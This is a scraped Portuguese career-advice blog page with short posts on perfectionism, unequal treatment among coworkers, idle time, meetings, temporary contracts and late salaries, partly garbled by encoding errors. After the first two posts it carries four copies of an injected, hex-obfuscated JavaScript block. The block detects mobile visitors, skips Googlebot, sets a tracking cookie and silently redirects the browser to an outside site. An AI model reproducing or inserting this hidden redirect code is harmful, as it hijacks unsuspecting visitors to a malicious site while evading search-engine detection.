Alt + Shift + C ir para o conteúdo Alt + Shift + M ir para o menu Alt + Shift + B ir para a busca Alt + Shift + F ir para o rodapé

Excesso de preciosismo pode prejudicar o profissional

Publicado por:
18 fev

9.1

Ai?? muito comum vermos profissionais que vivem a sAi??ndrome da fantasia na quarta-feira de cinzas. Ou seja, elaboram tanto seus trajes carnavalescos que eles sA? ficam prontos no A?ltimo dia de Carnaval, quando jA? nA?o servem mais para nada. Isso ocorre tambAi??m no dia a dia de trabalho, onde esse excesso de atenAi??A?o aos detalhes pode acabar prejudicando o profissional.

Em Ai??poca de concorrA?ncia acirrada, muitas vezes acabamos caindo na armadilha do preciosismo e esquecendo que Ai?? impossAi??vel ser perfeito e dar conta de tudo sozinho. E tanto cuidado com detalhes insignificantes ou de pouca importA?ncia pode acabar gerando um atraso nas demandas e falta de foco nas informaAi??Ai??es que sA?o realmente estratAi??gicas.

Ai?? preciso, entender que trabalhar com eficiA?ncia consiste em acabar cada tarefa esforAi??ando-se para nA?o deixar ai???pontas soltasai???. Por isso, Ai?? importante cuidar da qualidade do seu trabalho, sem perder de vista a objetividade, o foco nos resultados e os prazos. Para tanto, Ai?? preciso saber controlar a ansiedade e exercitar a autocrAi??tica.

Antes de entregar um relatA?rio, por exemplo, analise o conteA?do com paciA?ncia, colocando-se no lugar de quem irA? recebA?-lo. Pedir a opiniA?o dos colegas tambAi??m Ai?? uma boa opAi??A?o e demonstra interesse pela opiniA?o dos outros. Por fim, nunca deixe para a A?ltima hora a revisA?o do material e tenha sempre claros na cabeAi??a os padrAi??es de qualidade exigidos, para nA?o acabar apresentando nem mais nem menos do que o necessA?rio.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Um colega foi atendido numa solicitação igual a minha. Como devo proceder?

Publicado por:
16 fev

imagem12

Algumas situaAi??Ai??es podem gerar desconforto entre os colegas no ambiente de trabalho. Um exemplo Ai?? quando um profissional recebeu um benefAi??cio enquanto outro, que havia feito uma solicitaAi??A?o parecida, nA?o foi atendido. Casos como esse podem acontecer em empresas que financiam cursos para seus empregados, por exemplo. Nessas situaAi??Ai??es, como o prejudicado deve agir?

Em primeiro lugar, quando um profissional se sente preterido, Ai?? essencial que nA?o fique aborrecido com a situaAi??A?o e se cale. Se o ocorrido lhe incomodou e vocA? nA?o entendeu o que aconteceu para nA?o ter tido sua solicitaAi??A?o aceita, procure o seu gerente e exponha, com calma, seu desapontamento. Pergunte por que, mesmo atendendo a todas as exigA?ncias, seu pedido nA?o foi acatado.

Uma possibilidade Ai?? a de que tenha acontecido um engano e o gestor esqueceu-se de avaliar a sua solicitaAi??A?o, ainda que ela tenha atendido todos os requisitos. Neste caso, vale tentar negociar a reapresentaAi??A?o da proposta. NA?o sendo essa a causa e, de fato, a solicitaAi??A?o tenha sido negada porque nA?o atendia a algum critAi??rio, procure saber o motivo exato da negativa e como pode resolver o problema.

Ai?? importante que numa situaAi??A?o de desconforto como essa, o profissional busque esclarecer o ocorrido e se mostrar atento ao que acontece ao seu redor na empresa. O que ele nA?o deve fazer em hipA?tese alguma Ai?? descontar sua frustraAi??A?o no colega que foi beneficiado e que nA?o tem nenhuma culpa no ocorrido.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Como agir quando há um sentimento de ociosidade?

Publicado por:
11 fev

03.4

Muito embora, a redução de equipes possa gerar para alguns negócios, uma sobrecarga para os profissionais, há casos em que o sentimento de ociosidade pode ser comum, sobretudo em épocas de crise, quando algumas empresas sofrem com a redução das demandas e os empregados ficam mais tempo sem uma ocupação. Estar com tempo de trabalho ocioso, muitas vezes, gera um sentimento de desmotivação no profissional que acomete, além do seu desempenho, o rendimento da organização.

Nesses casos, algumas atitudes podem ajudar a amenizar a sensação e ainda contribuir com a imagem do profissional. Uma delas é não ficar parado esperando alguma demanda surgir e aproveitar o tempo livre para estudar novas possibilidades de produtos ou serviços. Procurar conhecer mais sobre a empresa, buscando entender melhor outros setores e atividades da organização, pode ser uma foram de se capacitar para outras atividades.

O profissional também deve conversar abertamente com o seu gestor e buscar ajuda. Mas não é só dizer que está se sentindo ocioso, mas mostrar proatividade e interesse em ser útil para a empresa, solicitando novas demandas e formas de contribuir com ela. É essencial, sobretudo nesse momento em que parece haver mais profissionais que demandas, não deixar de ser importante para a organização.

Por outro lado, cabe aos gestores estarem atentos para a queda da motivação ocasionada pela ociosidade nas equipes. É tarefa deles analisar a possibilidade de redistribuição das atividades ou buscar formas de aproveitar o tempo livre para fornecer treinamentos e desenvolver suas equipes, por exemplo.

Reuniões podem ser proveitosas. Como se comportar?

Publicado por:
09 fev

7.5trainees

É comum ouvirmos queixas de profissionais que julgam as reuniões de trabalho como uma perda de tempo e de produtividade nas empresas, porém, quando bem executadas, elas se tornam ferramentas importantes para o bom andamento dos projetos.

Para que uma reunião seja produtiva é preciso estabelecer alguns critérios. Qual é o seu objetivo? Por que cada pessoa participante está ali? Como cada um pode ajudar e quais os acordos para o bom funcionamento? Respondidas estas perguntas, é hora de definir seu horário de início e término. Desta forma, todos estarão comprometidos em discutir a pauta dentro do tempo limite e o encontro não ficará cansativo.

É preciso, ainda, evitar alguns comportamentos, tais como faltar sem justificativa plausível, não chegar no horário marcado ou, pior ainda, chegar após o gestor e praticar atividades paralelas como atender o celular ou responder mensagens de texto – salvo em situações de extrema necessidade, o que, neste caso, deve-se avisar previamente aos demais participantes da reunião.

Outro ponto que também é essencial para tornar a reunião mais proveitosa é registrar o que foi debatido em uma ata. É nela que será anotado tudo que foi discutido durante a reunião e onde serão oficializados os prazos, de forma que todos saibam exatamente o que devem fazer e não se percam no caminho. E por fim, é importante se preparar bem antes de cada reunião, para poder falar com propriedade e foco sobre o andamento das suas demandas.

Como ser efetivado após um contrato temporário?

Publicado por:
04 fev

03.111

Durante o ano, o aquecimento de diversas áreas do comércio leva empresas a abrirem vagas de trabalho para suprir as demandas temporárias. Após esse período, parte dos profissionais acaba sendo aproveitada e integrada às equipes regulares, mas para isso precisam se destacar de alguma forma. O que fazer, então, para ter a chance de ser efetivado?

Em primeiro lugar é preciso mostrar proatividade, aprenda rápido e mostre interesse em conhecer os processos. É importante também se relacionar bem e aprender com os colegas que estão há mais tempo na empresa. Outra forma de se destacar é sugerindo soluções pertinentes que facilitem o fluxo de trabalho.

O convívio com os demais profissionais da equipe também é um ponto relevante, portanto seja sempre colaborativo e não se isole na sua função. Interagir com os pessoas de outras áreas e aprender com elas pode lhe garantir uma vaga de trabalho em outros departamentos da empresa. Lembre-se também que neste momento sua imagem e comportamento vão ser julgados no pouco tempo em que você estiver lá, então evite fazer ou participar de fofocas e mostre compromisso chegando sempre no horário e evitando faltas desnecessárias.

Por fim, uma vez que você conhece melhor a organização, o ambiente e vê uma chance de fazer parte dela e contribuir com o seu crescimento a longo prazo, converse com o gestor e deixe claro o seu interesse em ser efetivado. Exponha seus motivos e as perspectivas que tem para crescer junto com a empresa, mostrando que deseja colaborar.

Minha empresa atrasou o salário. Como devo proceder?

Publicado por:
02 fev

033

Nos dias atuais, tem sido mais frequente observar empresas com problemas de fluxo de caixa. Mesmo aquelas que primam pela pontualidade dos seus compromissos, podem estar sujeitas a um atraso na folha. Isso é ruim para a empresa e para o profissional. Mas em situações como esta, como proceder?

Em primeiro lugar, é necessário investigar se há alguma explicação para o atraso. Se for um fato isolado, a credibilidade da empresa não está abalada e dá para ter mais confiança de que receberá sua remuneração tão logo seja possível. É importante ainda não se deixar contaminar por fofocas, tão comuns nesse tipo de situação. O ideal é conversar diretamente com seu gestor.

Se a empresa é sólida e séria, não precisa se desesperar. Para tanto, é fundamental que se tenha uma reserva financeira para manter-se até receber seu salário. Evite gastos desnecessários e corte despesas momentaneamente. Trace um plano que considere o prazo máximo em que você consegue sustentar essa situação. Se nesse meio tempo a sua situação financeira apertar, conversar com seu chefe é fundamental.

Não deixe que sua produtividade caia, mesmo se estiver se sentindo desmotivado. Procure trabalhar da melhor forma possível, especialmente se para a empresa se reequilibrar, o seu resultado for fundamental. Fique atento ao que acontece no mercado e acompanhe os esforços dos gestores e sócios para resolver o problema.

E caso perceba que a situação se prolongará e você não tem mais fôlego financeiro, busque outras oportunidades e comunique ao gestor sua decisão, sendo transparente sobre suas dificuldades.

É hora de investir em capacitação!

Publicado por:
28 jan

04.21

Em um momento de crise, em que as empresas estão com seus quadros reduzidos, como o profissional pode se destacar no mercado de trabalho e não estagnar? Uma excelente alternativa é buscar bons cursos de capacitação.

Dar continuidade aos estudos e investir na educação continuada é fundamental para quem deseja se consolidar na carreira. Nesta corrida pela capacitação, vale buscar opções de cursos que agreguem valor ao currículo, mas principalmente que tragam conteúdos relevantes para sua área de atuação.

Aproveite o início do ano para buscar as melhores ofertas, analisar os programas e até negociar com sua empresa a possibilidade de custeio total ou parcial. Caso o conteúdo do curso seja de interesse para a empresa e esteja atrelado a sua atividade, é possível conseguir alguma ajuda.

Mas mesmo que não consiga o custeio é imprescindível, especialmente em momentos de mercado mais restrito, compreender quais as qualificações que são fundamentais para se tornar um profissional desejado e investir nelas. Mais importante que um certificado é a competência que você irá desenvolver para se tornar mais estratégico para a empresa. Afinal, quanto mais conhecimento e habilidade para coloca-los em prática, maiores e melhores serão as oportunidades.

Como não deixar de lado as promessas do Ano Novo?

Publicado por:
26 jan

imagem12

Fazer promessas para a chegada do novo ano já virou tradição. Emagrecer, começar um novo curso, fazer uma viagem ou mudar de emprego estão entre as resoluções mais comuns feitas em tempos de recomeço. Mas, quem nunca terminou o ano com planos cumpridos pela metade, repensados ou até mesmo não realizados?

O primeiro mês do ano está acabando e temos muitas promessas em mente. Para garantir que elas não serão postas de lado, primeiro é preciso definir prioridades. O que não pode, de fato, deixar de ser feito? Quais os caminhos que devem ser percorridos para realizar essas metas?

Após estabelecer quais planos serão prioridades e como fazer para concluí-los, é preciso elaborar um levantamento financeiro do que é necessário para cumprir essas resoluções. Você terá, efetivamente, condições de realizá-las? Se não, como pode buscar recursos?

Por fim, é preciso esforço e força de vontade. É normal que alguns planos tenham que ser reajustados ao longo do percurso, muitas vezes, devido a fatores que fogem do controle, mas isso não é motivo para desistir, muito menos para esperar até o próximo ano para começar de novo. Recomponha-se e siga em frente!

Devo trocar meu emprego por um estágio?

Publicado por:
21 jan

03.31

Deixar um emprego formal, com carteira assinada, para estagiar na área de formação é um dilema enfrentado por muitos profissionais que estão cursando a graduação. Mas será que vale a pena largar o “certo” pelo “duvidoso” em nome de um sonho profissional?

Em uma situação como esta, em primeiro lugar, é necessário fazer uma avaliação detalhada e listar os prós e contras da mudança. Um ponto importante a ser avaliado é a realidade financeira. A bolsa oferecida pelo estágio será suficiente para se manter? Caso não seja, existe a possibilidade de complementar a renda com outra atividade para viabilizar a proposta?

